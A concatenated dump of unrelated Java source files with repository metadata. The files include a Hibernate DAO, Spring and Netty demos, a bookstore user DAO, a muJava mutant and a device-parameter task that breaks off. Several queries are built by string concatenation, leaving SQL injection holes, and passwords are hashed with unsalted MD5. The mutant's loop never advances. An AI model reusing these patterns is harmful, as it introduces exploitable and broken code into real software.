BigDecimal count=(BigDecimal)sf.getCurrentSession().createSQLQuery("select count(1) "+sql).uniqueResult();
vo.setRecordsTotal(count.intValue());
List<SearchParam> list=sf.getCurrentSession().createSQLQuery("select * "+sql+" order by tag.PARENT_ID,tag.sequence,tag.id")
.addEntity(SearchParam.class)
.setFirstResult(vo.getStart())
.setMaxResults(vo.getLength())
.list();
vo.setData(list);
}
@Override
public List<SearchParam> findAllParent() {
String sql="select * from ras_search_param tag where tag.parent_id=0 order by tag.id";
return sf.getCurrentSession().createSQLQuery(sql).addEntity(SearchParam.class).list();
}
@Override
public List<SearchParam> findAllByIds(String[] ids) {
String sql="select * from ras_search_param tag where tag.id in(:ids) order by tag.id";
List<SearchParam> tagList= sf.getCurrentSession().createSQLQuery(sql).addEntity(SearchParam.class).setParameterList("ids", ids).list();
for(SearchParam tag :tagList){
switch (tag.getUi_type()) {
case "checkbox":
List<String> list=new ArrayList<String>();
sql="select count(1) from user_tables where upper(table_name)='"+tag.getUi_value().toUpperCase()+"'";
BigDecimal count=(BigDecimal)sf.getCurrentSession().createSQLQuery(sql).uniqueResult();
if(count.intValue()>0){
sql="select name from "+tag.getUi_value();
list=sf.getCurrentSession().createSQLQuery(sql).list();
}else{
String[] vals=tag.getUi_value().split(",");
Collections.addAll(list, vals);
}
for(String v:list){
SearchParam t=new SearchParam();
t.setId(null);
t.setName(v);
tag.getSearchTags().add(t);
}
break;
}
}
return tagList;
}
public List<?> findAttribute(String tableName){
String sql="select * from "+tableName;
return sf.getCurrentSession().createSQLQuery(sql).list();
}
@Override
public void save(SearchParam searchTag){
sf.getCurrentSession().save(searchTag);
}
@Override
public Map<String, String> searchSummarize(String overviewID) {
String sql="";
if(overviewID==null){
sql="select * from RAS_AIRCRAFT_OVERVIEW ao where ao.id='"+overviewID+"'";
}else{
sql="select * from aircraftallparam ap where ap.basicID='"+overviewID+"'";
}
return (Map<String,String>)sf.getCurrentSession().createSQLQuery(sql)
.setResultTransformer(Transformers.ALIAS_TO_ENTITY_MAP)
.uniqueResult();
}
@Override
public List<SearchParam> findAllChildren(String parentID) {
String sql="select * from RAS_SEARCH_param t where t.enname is not null "+(parentID==null?"":" and PARENT_ID='"+parentID+"'");
return sf.getCurrentSession().createSQLQuery(sql).addEntity(SearchParam.class).list();
}
@SuppressWarnings("unchecked")
@Override
public Map<String,List<String>> findAllCheckboxTypeList() {
String hql="from SearchParam where ui_type='checkbox'";
List<SearchParam> list=sf.getCurrentSession().createQuery(hql).list();
Map<String,List<String>> m=new HashMap<String,List<String>>();
for(SearchParam param:list){
String sql="select name from "+param.getUi_value();
List<String> tem=sf.getCurrentSession().createSQLQuery(sql).list();
m.put(param.getUi_value(), tem);
}
return m;
}
}
|
[
"algz1982@gmail.com"
] |
algz1982@gmail.com
|
a2279478dd5438bfa12773c83ee43cb79090621f
|
02c1dc0cbaab9b51f0e112b0f9aa4b808adc2f16
|
/jms-consumer/src/main/java/com/github/kazuki43zoo/sample/api/controller/todo/TodosController.java
|
cfa7c17eb1c1ea14907e0af5f5851f2058d52c1c
|
[] |
no_license
|
lenicliu/spring-boot-multi-sample
|
21f51169e54cfe1849e827fb0c20dd279d2e4dd0
|
7593689e719c0e8635833cf3ca1a23fe98079a9e
|
refs/heads/master
| 2021-01-16T21:32:39.928966
| 2016-04-10T02:19:53
| 2016-04-10T02:19:53
| 56,490,669
| 1
| 0
| null | 2016-04-18T08:32:06
| 2016-04-18T08:32:05
| null |
UTF-8
|
Java
| false
| false
| 1,109
|
java
|
package com.github.kazuki43zoo.sample.api.controller.todo;
import com.github.kazuki43zoo.sample.domain.model.Todo;
import com.github.kazuki43zoo.sample.domain.service.TodoService;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jms.annotation.JmsListener;
import org.springframework.messaging.handler.annotation.Header;
import org.springframework.stereotype.Controller;
import java.util.Optional;
import java.util.UUID;
@Controller
public class TodosController {
@Autowired
TodoService todoService;
@JmsListener(destination = "todo")
public void create(TodoResource newResource
, @Header(name = "username", defaultValue = "anonymousUser") String username
, @Header(name = "trackingId", required = false) String trackingId
) {
Todo newTodo = new Todo();
BeanUtils.copyProperties(newResource, newTodo);
newTodo.setTrackingId(Optional.ofNullable(trackingId).orElse(UUID.randomUUID().toString()));
todoService.create(newTodo, username);
}
}
|
[
"kazuki43zoo@gmail.com"
] |
kazuki43zoo@gmail.com
|
18ec5ec25094581237067d383bbf10f1c1bd556c
|
1ee75d7fab3f1ed2747d26da0e35d854fc3c14f3
|
/src/main/java/com/github/xiaoy/droolrule/mapper/RuleConfigInfoMapper.java
|
6ac6344b777b228716b99a03bb94b7e4048c4738
|
[] |
no_license
|
wwkin/drool-rule
|
604868b784465c5f6df87e0f175d6547bb528038
|
76f211044959b147e496e74016c3d782a7b0b105
|
refs/heads/master
| 2023-03-15T06:52:03.002270
| 2021-01-13T08:31:01
| 2021-01-13T08:31:01
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 288
|
java
|
package com.github.xiaoy.droolrule.mapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.github.xiaoy.droolrule.entity.RuleConfigInfo;
import org.apache.ibatis.annotations.Mapper;
@Mapper
public interface RuleConfigInfoMapper extends BaseMapper<RuleConfigInfo> {
}
|
[
"lyongtao123@126.com"
] |
lyongtao123@126.com
|
d7d91ea22607c1c80624ee829f3429b318edf87d
|
3622e0a492f013ce59dfe93d8363a7d5360dfba4
|
/mall-order/src/main/java/com/qian/mall/order/service/impl/OrderReturnApplyServiceImpl.java
|
c16f27fdb8814d3c170d0c34d4da70e60a06d5e4
|
[] |
no_license
|
Me-to/qian-mall
|
38b7b8fabf982f47885b5bbf4d2358bcc4c5ac89
|
5d130f3fbf8c9fb03130d84c3958327c43255bad
|
refs/heads/master
| 2023-08-17T00:30:09.968300
| 2021-08-30T09:05:54
| 2021-08-30T09:05:54
| 296,982,125
| 1
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,045
|
java
|
package com.qian.mall.order.service.impl;
import org.springframework.stereotype.Service;
import java.util.Map;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.qian.common.utils.PageUtils;
import com.qian.common.utils.Query;
import com.qian.mall.order.dao.OrderReturnApplyDao;
import com.qian.mall.order.entity.OrderReturnApplyEntity;
import com.qian.mall.order.service.OrderReturnApplyService;
@Service("orderReturnApplyService")
public class OrderReturnApplyServiceImpl extends ServiceImpl<OrderReturnApplyDao, OrderReturnApplyEntity> implements OrderReturnApplyService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
IPage<OrderReturnApplyEntity> page = this.page(
new Query<OrderReturnApplyEntity>().getPage(params),
new QueryWrapper<OrderReturnApplyEntity>()
);
return new PageUtils(page);
}
}
|
[
"694656210@qq.com"
] |
694656210@qq.com
|
6e8f2aafba801e8982d71562f566a21f7d2bc8e7
|
72bb384115dc7ff23c3069f110d8131fa901d577
|
/source/tools/src/main/java/ota/client12/IPublicEntityKey.java
|
f7976da499e8d7bf9995a06ec1739a9b2c6d6847
|
[] |
no_license
|
Automic-Community/hp-quality-center-action-pack
|
cf2bb743866afe22c07ffc23f7bf4444b866d998
|
38803fece8e7c00f53ab62ba0402ecc31cc6b90d
|
refs/heads/master
| 2023-01-15T22:16:27.310318
| 2020-11-20T12:58:53
| 2020-11-20T12:58:53
| 292,007,852
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,054
|
java
|
package ota.client12 ;
import com4j.*;
/**
* Represents a PublicEntityKey.
*/
@IID("{FF0696B3-0C9F-4ECA-B1FD-B74829F6DBE1}")
public interface IPublicEntityKey extends ota.client12.IBaseField {
// Methods:
/**
* <p>
* Get PublicEntityKey Owner ID.
* </p>
* <p>
* Getter method for the COM property "OwnerId"
* </p>
* @return Returns a value of type int
*/
@DISPID(14) //= 0xe. The runtime will prefer the VTID if present
@VTID(20)
int ownerId();
/**
* <p>
* Get PublicEntityKey Owner Type.
* </p>
* <p>
* Getter method for the COM property "OwnerType"
* </p>
* @return Returns a value of type java.lang.String
*/
@DISPID(15) //= 0xf. The runtime will prefer the VTID if present
@VTID(21)
java.lang.String ownerType();
/**
* <p>
* Get PublicEntityKey UserName
* </p>
* <p>
* Getter method for the COM property "UserName"
* </p>
* @return Returns a value of type java.lang.String
*/
@DISPID(16) //= 0x10. The runtime will prefer the VTID if present
@VTID(22)
java.lang.String userName();
/**
* <p>
* Get PublicEntityKey Key
* </p>
* <p>
* Getter method for the COM property "Key"
* </p>
* @return Returns a value of type java.lang.String
*/
@DISPID(17) //= 0x11. The runtime will prefer the VTID if present
@VTID(23)
java.lang.String key();
/**
* <p>
* Get PublicEntityKey ResourceType
* </p>
* <p>
* Getter method for the COM property "ResourceType"
* </p>
* @return Returns a value of type java.lang.String
*/
@DISPID(18) //= 0x12. The runtime will prefer the VTID if present
@VTID(24)
java.lang.String resourceType();
/**
* <p>
* Get PublicEntityKey ResourceType
* </p>
* <p>
* Setter method for the COM property "ResourceType"
* </p>
* @param pVal Mandatory java.lang.String parameter.
*/
@DISPID(18) //= 0x12. The runtime will prefer the VTID if present
@VTID(25)
void resourceType(
java.lang.String pVal);
// Properties:
}
|
[
"ashish.kumar09@nagarro.com"
] |
ashish.kumar09@nagarro.com
|
07121b6951dd1ab8aa833e0c2dfc5443db8fea14
|
327e74e19994e8e642c7aa438125bc9f02be5883
|
/ziziza_dev/src/main/java/kr/co/ziziza/manager/company/MngCompanyDAO.java
|
c1403dec7eb0c1e8717d5f882a48d59562c2c672
|
[] |
no_license
|
kko96/kko
|
4e339837b38693b9a32012d6357d03ef8b64992e
|
724c8f4ba9129e53e45544edce2ee612a9cb3431
|
refs/heads/master
| 2022-12-20T07:03:16.252378
| 2019-09-04T03:59:16
| 2019-09-04T03:59:16
| 193,433,269
| 0
| 0
| null | 2022-12-16T09:45:03
| 2019-06-24T04:24:44
|
Java
|
UTF-8
|
Java
| false
| false
| 800
|
java
|
package kr.co.ziziza.manager.company;
import java.util.List;
public interface MngCompanyDAO {
public int companyInsert(MngRegistVO vo);
public int companyCharge(MngRegistVO vo);
public int companyPlant(MngRegistVO vo);
public List<MngRegistVO> selectRegistList(MngRegistVO vo);
public MngRegistVO selectDetail(MngRegistVO vo);
public MngRegistVO selectDetailCharge(MngRegistVO vo);
public int deleteCompany(MngRegistVO vo);
public int deleteCharge(MngRegistVO vo);
public int deletePlants(MngRegistVO vo);
public MngRegistVO selectModify(MngRegistVO vo);
public MngRegistVO selectModifyCharge(MngRegistVO vo);
public int companyUpdate(MngRegistVO vo);
public int chargeUpdate(MngRegistVO vo);
public int plantUpdate(MngRegistVO vo);
}
|
[
"USER@USER-PC"
] |
USER@USER-PC
|
2080671e3ca5253fdd070c98959d914cd9851bcf
|
baba7ae4f32f0e680f084effcd658890183e7710
|
/MutationFramework/muJava/muJavaMutantStructure/Persistence/TobiasSamples/Debug2/int_maxElement(int)/AORB_9/Debug2.java
|
963a4a1127beeca098449d7f5b3078d30842e688
|
[
"Apache-2.0"
] |
permissive
|
TUBS-ISF/MutationAnalysisForDBC-FormaliSE21
|
75972c823c3c358494d2a2e9ec12e0a00e26d771
|
de825bc9e743db851f5ec1c5133dca3f04d20bad
|
refs/heads/main
| 2023-04-22T21:29:28.165271
| 2021-05-17T07:43:22
| 2021-05-17T07:43:22
| 368,096,901
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,786
|
java
|
// This is a mutant program.
// Author : ysma
public class Debug2
{
/*@
@ normal_behavior
@ requires true;
@ ensures \result>=0 ==> a[\result]==x;
@*/
public static int linearSearch( int[] a, int x )
{
int i = a.length - 1;
/*@ loop_invariant !(\exists int q; q >= i+1 && q < a.length; a[q]==x) && i>=-1 && i<a.length;
@ decreases i+1;
@*/
while (i >= 0 && a[i] != x) {
i = i - 1;
}
return i;
}
/*@
@ normal_behavior
@ requires A.length > 0;
@ ensures (\forall int q; q >= 0 & q < A.length; A[\result]>=A[q]);
@*/
public static int maxElement( int[] A )
{
int i = 0;
int j = 1;
/*@ loop_invariant (\forall int q; q >= 0 && q < j; A[i]>=A[q]) && i>=0 && i<A.length && j>0 && j<=A.length;
@ decreases A.length - j;
@*/
while (j != A.length) {
if (A[j] > A[i]) {
i = j;
} else {
if (A[j] <= A[i]) {
;
}
}
j = j * 1;
}
return i;
}
/*@
@ normal_behavior
@ requires n >= 0 && n<6;
@ ensures \result==Helper.factorial(n);
@*/
public static int fac( int n )
{
int f = 0;
if (n == 0) {
f = 1;
} else {
if (n == 1) {
f = 1;
} else {
if (n >= 2) {
int tmp = n - 1;
f = n * Helper.factorial( tmp );
}
}
}
return f;
}
/*@
@ normal_behavior
@ requires A.length > 0 && (\forall int i; i>=0 & i<A.length; A[i] == 0 || A[i] == 1 || A[i] == 2);
@ ensures (\forall int q; q >= 1 && q < \result.length; \result[q-1]<=\result[q]);
@*/
public static int[] DutchFlag( int[] A )
{
int wb = 0;
int wt = 0;
int bb = A.length;
/*@ loop_invariant (\forall int i; i>=0 & i<A.length; A[i] == 0 || A[i] == 1 || A[i] == 2) && (\forall int q; q >= 0 && q < wb; A[q]==0) && (\forall int q; q >= wb && q < wt; A[q]==1) && (\forall int q; q >= bb && q < A.length; A[q]==2) && 0<=wb && wb<=wt && wt<=bb && bb<=A.length;
@ decreases bb-wt;
@*/
while (wt != bb) {
if (A[wt] == 0) {
int t = A[wt];
A[wt] = A[wb];
A[wb] = t;
wt = wt + 1;
wb = wb + 1;
} else {
if (A[wt] == 1) {
wt = wt + 1;
} else {
if (A[wt] == 2) {
int t = A[wt];
A[wt] = A[bb - 1];
A[bb - 1] = t;
bb = bb - 1;
}
}
}
}
return A;
}
}
|
[
"a.knueppel@tu-bs.de"
] |
a.knueppel@tu-bs.de
|
f4138ecf2c30e4a6a6b83ffbdc96d5c395cb555d
|
c9a9c2ba370220a5990d525a6f65f15bf7282ceb
|
/abc/SetNullProperty/src/main/java/com/urmi/file/App.java
|
76fc1eae45bf169cb2e588014accb6506377d78b
|
[] |
no_license
|
nparvez71/Spring-Ws-workbranch-SpringToolsSweets
|
848247299322523bce34c8b81e138d802d85fc30
|
a02d08d395d323f870c9b9237a2194011e4c6a76
|
refs/heads/master
| 2020-03-13T19:04:20.096469
| 2018-04-27T06:12:19
| 2018-04-27T06:12:19
| 131,246,685
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 471
|
java
|
package com.urmi.file;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class App {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("com/urmi/beans/beans.xml");
Employee employee = (Employee)context.getBean("employee");
System.out.println(employee);
((ClassPathXmlApplicationContext) context).close();
}
}
|
[
"nparvez92@gmail.com"
] |
nparvez92@gmail.com
|
02456d9188948a2e7fdc7b0fb72406ff5286544d
|
5be44f022a14d3a1587f557958d64d6958cfe9c3
|
/spring-boot/spring-boot-testing/src/test/java/io/reflectoring/testing/persistence/FlywayTest.java
|
ef0b1d5922b41188b67aa836401bee07e8d71a64
|
[
"MIT"
] |
permissive
|
thombergs/code-examples
|
4608b7d9ea3201ffa26d305f24d1ac1aa77f2c08
|
ca500ac4d4a0e501565e30dcdea37bb17d4d26e7
|
refs/heads/master
| 2023-09-04T23:14:37.811206
| 2023-08-14T21:04:33
| 2023-08-14T21:04:33
| 98,801,926
| 2,492
| 2,710
|
MIT
| 2023-09-10T20:42:50
| 2017-07-30T14:12:24
|
Java
|
UTF-8
|
Java
| false
| false
| 652
|
java
|
package io.reflectoring.testing.persistence;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.context.junit.jupiter.SpringExtension;
@DataJpaTest
@TestPropertySource(properties = {
"spring.jpa.hibernate.ddl-auto=validate",
"spring.liquibase.enabled=false",
"spring.flyway.enabled=true"
})
class FlywayTest {
@Test
void databaseHasBeenInitialized() {
}
}
|
[
"tom.hombergs@gmail.com"
] |
tom.hombergs@gmail.com
|
58aabe38d234b11fad3bc98c75fda7d6e0aacea6
|
9bc5839e2e1db25d01f0847f736bf6663b938810
|
/JSP项目实例/51CTO下载-JSP网上书店系统源码sql数据库/JSP网上书店系统源码sql数据库/JSP网上书店系统源码/JSP/网上书店/bookstore/src/bean/db/userOPBean.java
|
c346f64d25c415bb953574a2a7b0c4ef56ea9ec9
|
[] |
no_license
|
student-chen/Java
|
569bf51e726a093c9c0db4e1b0bfa630258026b8
|
510de64ea4a3584e48e9805894c42a2a92e476b6
|
refs/heads/master
| 2020-05-15T10:28:07.880796
| 2019-04-19T06:23:11
| 2019-04-19T06:23:11
| 182,190,594
| 0
| 0
| null | null | null | null |
GB18030
|
Java
| false
| false
| 2,829
|
java
|
package bean.db;
import java.security.MessageDigest;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import bean.db.common.dbOpertaion;
/**
* @author 邓子云
* 封装对用户表的操作
*/
public class userOPBean extends dbOpertaion{
/**
* 增加一个用户
*/
public int addUser(userBean user){
int i=0;
//------为密码计算摘要------
String codeMD5=null;
try{
MessageDigest MD=MessageDigest.getInstance("MD5");
MD.update((user.getUser_name()+user.getUser_password()).getBytes("UTF8"));
byte[] passwordMD5Byte=MD.digest();
codeMD5=new String(passwordMD5Byte);
codeMD5=new String(codeMD5.getBytes("iso-8859-1"));
}catch(Exception e){
e.printStackTrace();
i=0;
}
//------构造SQL语句------
String sqlString="insert into netuser(user_name,user_true_name,user_address,"+
"user_telephone,user_postalcode,user_role,user_password) values('"+
user.getUser_name()+"','"+user.getUser_true_name()+"','"+user.getUser_address()+
"','"+user.getUser_telephone()+"','"+user.getUser_postalcode()+"',"+
user.getUser_role()+",?)";
Connection conn=openDB();
try{
PreparedStatement preSQLInsert=conn.prepareStatement(sqlString);
preSQLInsert.setString(1,codeMD5);
i=preSQLInsert.executeUpdate();
}catch(Exception e){
e.printStackTrace();
i=0;
}
closeDB(conn);
return i;
}
/**
* 用户检验,如果失败返回0,如果成功返回用户的ID号
*/
public long certUser(String user_name,String user_password){
long i=0;
//------为密码计算摘要------
String codeMD5=null;
try{
MessageDigest MD=MessageDigest.getInstance("MD5");
MD.update((user_name+user_password).getBytes("UTF8"));
byte[] passwordMD5Byte=MD.digest();
codeMD5=new String(passwordMD5Byte);
codeMD5=new String(codeMD5.getBytes("iso-8859-1"));
}catch(Exception e){
e.printStackTrace();
}
//------构造SQL语句------
String sqlString="select * from netuser where user_name='"+
user_name+"' and user_password=?";
//------查询出数据------
Connection conn=openDB();
try{
PreparedStatement preSQLSelect=conn.prepareStatement(sqlString);
preSQLSelect.setString(1,codeMD5);
ResultSet rs=preSQLSelect.executeQuery();
if(rs.next())
i=rs.getLong("user_id");
}catch(Exception e){
e.printStackTrace();
}
closeDB(conn);
return i;
}
}
|
[
"3196614820@qq.com"
] |
3196614820@qq.com
|
4ddeb6a9ba05805375ba3042ab50a04fcff7117b
|
1b7c0afaa88978171266acf3b2a53615111784c0
|
/src/main/java/Netty_Guide/chapter05/src02/EchoServer.java
|
e77afd3248f8aa64bdefd74801e8f24820d3e1b3
|
[] |
no_license
|
huyuxiang/niostudy
|
0b483b4f80242da1c9037844bf176b6cd043e015
|
70468366684e01c7f4104bf8b979ff2909f06c83
|
refs/heads/master
| 2020-04-13T21:40:50.445467
| 2016-10-10T03:38:21
| 2016-10-10T03:38:21
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,735
|
java
|
package Netty_Guide.chapter05.src02;
import io.netty.bootstrap.ServerBootstrap;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.ChannelOption;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.handler.codec.FixedLengthFrameDecoder;
import io.netty.handler.codec.string.StringDecoder;
import io.netty.handler.logging.LogLevel;
import io.netty.handler.logging.LoggingHandler;
public class EchoServer {
public void bind(int port) throws Exception {
EventLoopGroup bossGroup = new NioEventLoopGroup();
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
ServerBootstrap b = new ServerBootstrap();
b.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class)
.option(ChannelOption.SO_BACKLOG, 100)
.handler(new LoggingHandler(LogLevel.INFO))
.childHandler(new ChannelInitializer<SocketChannel>() {
public void initChannel(SocketChannel ch) throws Exception {
ch.pipeline().addLast(new FixedLengthFrameDecoder(20));
ch.pipeline().addLast(new StringDecoder());
ch.pipeline().addLast(new EchoServerHandler());
}
});
ChannelFuture f = b.bind(port).sync();
f.channel().closeFuture().sync();
} finally {
bossGroup.shutdownGracefully();
workerGroup.shutdownGracefully();
}
}
public static void main(String[] args) throws Exception {
int port = 8080;
if(args!=null && args.length>0) {
try {
port = Integer.valueOf(args[0]);
} catch(NumberFormatException e) {
}
}
new EchoServer().bind(port);
}
}
|
[
"1678907570@qq.com"
] |
1678907570@qq.com
|
1bcf33cde7903789be5a4cc3227ed835eec1a074
|
be73270af6be0a811bca4f1710dc6a038e4a8fd2
|
/crash-reproduction-moho/results/CHART-4b-2-27-SPEA2-WeightedSum:TestLen:CallDiversity/org/jfree/chart/axis/NumberAxis_ESTest.java
|
5ba19a5f503912bddbd7f9a091df02fbcadd3394
|
[] |
no_license
|
STAMP-project/Botsing-multi-objectivization-using-helper-objectives-application
|
cf118b23ecb87a8bf59643e42f7556b521d1f754
|
3bb39683f9c343b8ec94890a00b8f260d158dfe3
|
refs/heads/master
| 2022-07-29T14:44:00.774547
| 2020-08-10T15:14:49
| 2020-08-10T15:14:49
| 285,804,495
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 547
|
java
|
/*
* This file was automatically generated by EvoSuite
* Sun Apr 05 22:43:27 UTC 2020
*/
package org.jfree.chart.axis;
import org.junit.Test;
import static org.junit.Assert.*;
import org.evosuite.runtime.EvoRunner;
import org.evosuite.runtime.EvoRunnerParameters;
import org.junit.runner.RunWith;
@RunWith(EvoRunner.class) @EvoRunnerParameters(useVFS = true, useJEE = true)
public class NumberAxis_ESTest extends NumberAxis_ESTest_scaffolding {
@Test
public void notGeneratedAnyTest() {
// EvoSuite did not generate any tests
}
}
|
[
"pouria.derakhshanfar@gmail.com"
] |
pouria.derakhshanfar@gmail.com
|
b95faa09f380242a96ecfb3fa590ecf0c44d8b59
|
632892dee43582ccd254c2b8bceb791c8386494d
|
/src/net/ion/craken/loaders/GridStore.java
|
aae70eaec9aa70ee04ce0c7e6a521f217ebc6b42
|
[] |
no_license
|
bleujin/craken
|
db15e052a62807a6194798f048613e60e3abb19e
|
ccdac24b196468439d90d449e206427c35519653
|
refs/heads/master
| 2021-01-17T09:19:58.536549
| 2016-12-22T03:27:56
| 2016-12-22T03:27:56
| 5,227,204
| 1
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,959
|
java
|
package net.ion.craken.loaders;
import infinispan.org.codehaus.jackson.map.deser.impl.PropertyValue;
import java.util.Map;
import java.util.concurrent.Executor;
import net.ion.craken.node.crud.tree.impl.PropertyId;
import net.ion.craken.node.crud.tree.impl.TreeNodeKey;
import net.ion.framework.util.Debug;
import org.infinispan.filter.KeyFilter;
import org.infinispan.marshall.core.MarshalledEntry;
import org.infinispan.notifications.Listener;
import org.infinispan.persistence.spi.AdvancedLoadWriteStore;
import org.infinispan.persistence.spi.InitializationContext;
@Listener
public class GridStore implements AdvancedLoadWriteStore<TreeNodeKey, Map<PropertyId, PropertyValue>> {
@Override
public boolean contains(Object arg0) {
Debug.line("contains");
return false;
}
@Override
public void init(InitializationContext icontext) {
Debug.line("init");
}
@Override
public MarshalledEntry<TreeNodeKey, Map<PropertyId, PropertyValue>> load(Object obj) {
Debug.line("load", obj);
return null;
}
@Override
public void start() {
Debug.line("start");
}
@Override
public void stop() {
Debug.line("stop");
}
@Override
public boolean delete(Object obj) {
Debug.line("delete", obj);
return false;
}
@Override
public void write(MarshalledEntry<? extends TreeNodeKey, ? extends Map<PropertyId, PropertyValue>> entry) {
Debug.line("write", entry);
}
@Override
public void process(KeyFilter<? super TreeNodeKey> filter, CacheLoaderTask<TreeNodeKey, Map<PropertyId, PropertyValue>> tasks, Executor ex, final boolean fetchValue, final boolean fetchMetadata) {
Debug.line("write", filter, tasks, ex, fetchValue);
}
@Override
public int size() {
Debug.line("size");
return 0;
}
@Override
public void clear() {
Debug.line("clear");
}
@Override
public void purge(Executor arg0, org.infinispan.persistence.spi.AdvancedCacheWriter.PurgeListener<? super TreeNodeKey> arg1) {
Debug.line("purge");
}
}
|
[
"bleujin@gmail.com"
] |
bleujin@gmail.com
|
5a795df46bd00fedcca32e2cb0dd1568ee33a3ec
|
82dc5807c02a9c81d574f59c74f72cabce8595a2
|
/YFPosService/app/src/main/java/com/yifengcom/yfpos/api/SetDeviceDataTask.java
|
73561b6b2dba550cad676d3a858f3dfb23c3c40f
|
[] |
no_license
|
duslabo/android_work
|
48d073e04cb58189c8cd363d4e1d8ada716474ea
|
adcaec07b3a7dd64b98763645522972387c67e73
|
refs/heads/master
| 2020-05-22T18:05:31.669708
| 2017-04-21T08:21:29
| 2017-04-21T08:21:29
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 5,629
|
java
|
package com.yifengcom.yfpos.api;
import java.io.ByteArrayOutputStream;
import com.yifengcom.yfpos.DefaultDeviceComm;
import com.yifengcom.yfpos.DeviceComm;
import com.yifengcom.yfpos.ErrorCode;
import com.yifengcom.yfpos.YFLog;
import com.yifengcom.yfpos.codec.PackageBuilder;
import com.yifengcom.yfpos.exception.MPOSException;
import com.yifengcom.yfpos.tlv.TLVCollection;
import com.yifengcom.yfpos.tlv.support.TLVByteArray;
import com.yifengcom.yfpos.utils.StringUtils;
import android.os.AsyncTask;
public class SetDeviceDataTask extends AsyncTask<String,Object,Integer>{
private final static YFLog logger = YFLog.getLog(SetDeviceDataTask.class);
private final SwiperListener listener;
private final DeviceComm deviceComm;
public SetDeviceDataTask(DeviceComm deviceComm,SwiperListener listener) {
this.listener = listener;
this.deviceComm = deviceComm;
}
@Override
protected Integer doInBackground(String... params) {
String customerNo = (String)params[0];
String termNo = (String)params[1];
String serialNo = (String)params[2];
String batchNo = (String)params[3];
try {
writeDeviceParams(customerNo,termNo,serialNo,batchNo);
} catch(MPOSException ex) {
logger.e(ex.getMessage(), ex);
return ex.getErrorCode();
} catch(Exception ex) {
logger.e(ex.getMessage(), ex);
return ErrorCode.UNKNOWN.getCode();
}
return ErrorCode.SUCC.getCode();
}
protected void onPostExecute(Integer code) {
if(code == ErrorCode.SUCC.getCode()) {
listener.onResultSuccess(0x32);
} else {
listener.onError(code, ((DefaultDeviceComm)deviceComm).getErrorMessage(code));
}
}
/**
* 写入参数
* @param customerNo
* @param termNo
* @param serialNo
* @param batchNo
*/
public void writeDeviceParams(String customerNo,String termNo ,String serialNo,String batchNo) {
byte[] body;
try {
if(!StringUtils.isEmpty(customerNo)) {
customerNo = StringUtils.rightAddSpace(customerNo, 15);
logger.d("写入商户号:%s",customerNo);
body = new byte[19];
body[0] = (byte)0x9F;
body[1] = (byte)0x02;
body[2] = (byte)customerNo.length();
body[3] = (byte)(customerNo.length()>>8);
System.arraycopy(customerNo.getBytes(), 0, body, 4, customerNo.length());
deviceComm.execute(PackageBuilder.syn(PackageBuilder.CMD_SET_CACHE,body));
}
if(!StringUtils.isEmpty(termNo)){
termNo = StringUtils.rightAddSpace(termNo, 8);
logger.d("写入终端号:%s",termNo);
body = new byte[12];
body[0] = (byte)0x9F;
body[1] = (byte)0x03;
body[2] = (byte)termNo.length();
body[3] = (byte)(termNo.length()>>8);
System.arraycopy(termNo.getBytes(), 0, body, 4, termNo.length());
deviceComm.execute(PackageBuilder.syn(PackageBuilder.CMD_SET_CACHE,body));
}
//流水号
if(!StringUtils.isEmpty(serialNo)) {
if(serialNo.length()<8) {
serialNo = StringUtils.leftAddZero(Integer.valueOf(serialNo), 6);
}
logger.d("写入流水号:%s",serialNo);
body = new byte[10];
body[0] = (byte)0x9F;
body[1] = (byte)0x04;
body[2] = (byte)serialNo.length();
body[3] = (byte)(serialNo.length()>>8);
System.arraycopy(serialNo.getBytes(), 0, body, 4, serialNo.length());
deviceComm.execute(PackageBuilder.syn(PackageBuilder.CMD_SET_CACHE,body));
}
//批次号
if(!StringUtils.isEmpty(batchNo)) {
if(batchNo.length()<8) {
batchNo = StringUtils.leftAddZero(Integer.valueOf(batchNo), 6);
}
logger.d("写入批次号:%s",batchNo);
body = new byte[10];
body[0] = (byte)0x9F;
body[1] = (byte)0x05;
body[2] = (byte)batchNo.length();
body[3] = (byte)(batchNo.length()>>8);
System.arraycopy(batchNo.getBytes(), 0, body, 4, batchNo.length());
deviceComm.execute(PackageBuilder.syn(PackageBuilder.CMD_SET_CACHE,body));
}
} catch(MPOSException ex) {
throw ex;
} catch(Exception ex) {
throw new MPOSException(ErrorCode.UNKNOWN.getCode(),ErrorCode.UNKNOWN.getDefaultMessage());
}
}
/**
* tlv格式写入
* @param customerNo
* @param termNo
* @param serialNo
* @param batchNo
*/
public void writeDeviceParamsTLV(String customerNo,String termNo ,String serialNo,String batchNo) {
try {
TLVCollection tlvs = new TLVCollection();
if(!StringUtils.isEmpty(customerNo)) {
